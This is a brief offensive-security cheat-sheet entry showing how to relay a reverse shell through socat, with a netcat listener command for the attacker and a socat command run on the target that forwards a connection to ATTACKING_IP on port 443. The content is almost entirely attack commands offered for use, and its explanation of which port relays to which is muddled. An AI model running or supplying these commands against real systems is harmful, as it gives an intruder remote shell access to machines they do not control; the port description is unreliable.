⭕Socat Reverse Shell Relay

Reverse Shell Relay

Using socat we can create a relay for us to send a reverse shell back to our own attacking machine.

#on attacker
sudo nc -lvnp 443

#on target
./socat tcp-l:8000 tcp:ATTACKING_IP:443 &

Line 2: Start a netcat listener on port 443.

Line 5: Using socat, relay port 443 to our local machine on port 8000.

&: Backgrounds the application.

Make sure to open the listening port first, then connect back to the attacking machine
